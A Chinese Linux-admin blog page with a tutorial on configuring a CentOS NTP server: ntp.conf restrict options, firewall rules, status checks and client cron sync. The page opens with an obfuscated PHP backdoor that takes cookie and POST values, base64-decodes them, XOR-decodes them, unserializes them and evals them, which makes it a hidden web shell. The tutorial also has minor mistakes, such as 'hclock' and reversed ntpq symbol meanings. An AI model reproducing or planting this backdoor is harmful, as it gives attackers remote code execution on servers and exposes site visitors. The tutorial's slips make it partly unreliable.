$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 配置NTP服务器 | Linux运维部落

配置NTP服务器

配置NTP时间服务器

一.安装ntp软件

1.检查是否安装了ntp相关包。

rpm -qa | grep ntp

2.安装ntp软件。

yum -y install ntp


二.参数讲解

ignore  :关闭所有的 NTP 联机服务

nomodify:客户端不能更改服务端的时间参数,但是客户端可以通过服务端进行网络校时。

notrust :客户端除非通过认证,否则该客户端来源将被视为不信任子网

noquery :不提供客户端的时间查询:用户端不能使用ntpq,ntpc等命令来查询ntp服务器

notrap :不提供trap远端登陆:拒绝为匹配的主机提供模式 6 控制消息陷阱服务。陷阱服务是 ntpdq 控制消息协议的子系统,用于远程事件日志记录程序。

nopeer :用于阻止主机尝试与服务器对等,并允许欺诈性服务器控制时钟

kod : 访问违规时发送 KoD 包。


三.修改配置文件

1.查看未修改的配置文件

# grep ^[^#] /etc/ntp.conf   

driftfile /var/lib/ntp/drift

restrict default nomodify notrap nopeer noquery

restrict 127.0.0.1

restrict ::1

server 0.centos.pool.ntp.org iburst

server 1.centos.pool.ntp.org iburst

server 2.centos.pool.ntp.org iburst

server 3.centos.pool.ntp.org iburst

includefile /etc/ntp/crypto/pw

keys /etc/ntp/keys

disable monitor

1.设置允许任何IP的客户机都可以进行时间同步(修改后的配置文件)

# grep ^[^#] /etc/ntp.conf   

driftfile /var/lib/ntp/drift

restrict default nomodify notrap

restrict 127.0.0.1

restrict ::1

server 0.centos.pool.ntp.org iburst

server 1.centos.pool.ntp.org iburst

server 2.centos.pool.ntp.org iburst

server 3.centos.pool.ntp.org iburst

includefile /etc/ntp/crypto/pw

keys /etc/ntp/keys

disable monitor

2.只允许192.168.1.0网段的客户机进行时间同步(修改后的配置文件)

# grep ^[^#] /etc/ntp.conf  

driftfile /var/lib/ntp/drift

restrict default nomodify notrap nopeer noquery

restrict 127.0.0.1

restrict ::1

restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap

server 0.centos.pool.ntp.org iburst

server 1.centos.pool.ntp.org iburst

server 2.centos.ntp.org iburst

server 3.centos.pool.ntp.org iburst

includefile /etc/ntp/crypto/pw

keys /etc/ntp/keys

disable monitor


四.启动NTP服务和防火墙

systemctl start ntpd

systemctl enable ntpd

iptables -A INPUT -p UDP -i eno16777736 -s 192.168.1.0/24 –dport 123 -j ACCEPT

setsebool -P ntp_disable_trans 1#SELinux设置

vi /etc/sysconfig/ntpd#允许BIOS与系统时间同步,添加下面一行。

SYNC_HWCLOCK=yes


五.检测NTP

1.检测NTP服务是否运行

# netstat -tlunp | grep ntp

udp        0      0 192.168.1.101:123       0.0.0.0:*                           2563/ntpd          

udp        0      0 127.0.0.1:123           0.0.0.0:*                           2563/ntpd          

udp        0      0 0.0.0.0:123             0.0.0.0:*                           2563/ntpd          

udp6       0      0 fe80::20c:29ff:fe7b:123 :::*                                2563/ntpd          

udp6       0      0 ::1:123                 :::*                                2563/ntpd          

udp6       0      0 :::123                  :::*                                2563/ntpd 

2.查看ntp服务器有无和上层ntp连通

# ntpstat

synchronised to NTP server (120.25.108.11) at stratum 3

   time correct to within 99 ms

   polling server every 64 s

3.查看ntp服务器与上层ntp的状态

# ntpq -p

     remote           refid      st t when poll reach   delay   offset  jitter

==============================================================================

 news.neu.edu.cn .INIT.          16 u    –   64    0    0.000    0.000   0.000

x202.118.1.130   202.118.1.47     2 u    7   64  377  153.659    9.605  19.941

*time4.aliyun.co 10.137.38.86     2 u   10   64  377   39.666  -47.661  15.944


remote   – 本机和上层ntp的ip或主机名,“+”表示优先,“*”表示次优先

refid    – 参考上一层ntp主机地址

st       – stratum阶层

when     – 多少秒前曾经同步过时间

poll     – 下次更新在多少秒后

reach    – 已经向上层ntp服务器要求更新的次数

delay    – 网络延迟

offset   – 时间补偿

jitter   – 系统时间与bios时间差


六.配置时间同步客户机

1.执行ntpdate命令:

ntpdate 192.168.1.101 #192.168.1.101为ntp服务器IP地址

2.写入BIOS

hclock -w

3.crond服务

vi /etc/crontab

30 8 * * * root /usr/sbin/ntpdate 192.168.1.101; /sbin/hwclock -w

4.重启crond服务

service crond restart

原创文章,作者:sjfbjs,如若转载,请注明出处:http://www.178linux.com/54767

(0)
上一篇 2016-10-30 21:02
下一篇 2016-10-30 21:03

相关推荐

  • 第十四周 N21 总有刁民想害朕

    系统的INPUT和OUTPUT默认策略为DROP; 1、限制本地主机的web服务器在周一不允许访问;新请求的速率不能超过100个每秒;web服务器包含了admin字符串的页面不允许访问;web服务器仅允许响应报文离开本机;  iptables -A  INPUT -p tcp –dpor…

    Linux干货 2016-10-17
  • 浅谈正则表达式

    1.       什么是正则表达式 基本说来,正则表达式是一种用来描述一定数量文本的模式。Regex代表Regular Express。本文将用<<regex>>来表示一段具体的正则表达式。 一段文本就是最基本的模式,简单的匹配相同的文本。   2. &n…

    Linux干货 2016-08-12
  • linux文件系统及文件操作

    1、Linux文件系统:    文件和目录被组织成一个单根倒置树结构,从根目录”/”开始。    文件系统分层结构LSB (Linux Standard Base)如下: 2、主要目录: /boot: 系统启动相关的文件,如内核、initrd,以及grub(bootloader) /etc:配置文件 /home:用户的…

    2017-07-23
  • 破解root口令

    这里主要介绍一下centos6和7root密码的破解方法 这里先说一下centos7的口令破解方法 破解CentOS7的root口令方法一 启动时任意键暂停启动  按e键进入编辑模式  将光标移动linux16开始的行,添加内核参数rd.break 按ctrl-x启动 这是进来之后的界面 然后查看用户的登录信息 echo $UID 显示结…

    2017-07-14
  • 译文-Symbolic一个基于func集中式管理平台[原创]

    Symbolic是一个开源的企业平台,旨在建立、配置和管理您的庞大分布式数据中心为目的开源框架,代表了目前最先进的数据中心解决方案的集中管理平台。 特征 属于RedHat认证协议栈的应用 具于func后端应用 支持 RHEL、Centos及Fedora 先进的拖放标签管理(Ajax) 提供Cobbler支持 灵活管理操作用户、主机 组和权限管理标记 先进的基…

    Linux干货 2015-03-27
  • 使用CDN后,PHP如何获取用户的真是IP?

    在统计访问日志参数的时候IP是一个重要的参数,所有索取客户端的IP就至关重要。 在logformat配置中有两个变量是获取IP地址的: remoteaddr:客户端IP xforwardedfor:客户端的IP 从上面来看两个都是客户端IP,那这两个变量有什么不同? 首先当你访问某个网站,假设你中间不经过任何代理,那么webserver就会把remotead…

    Linux干货 2015-12-21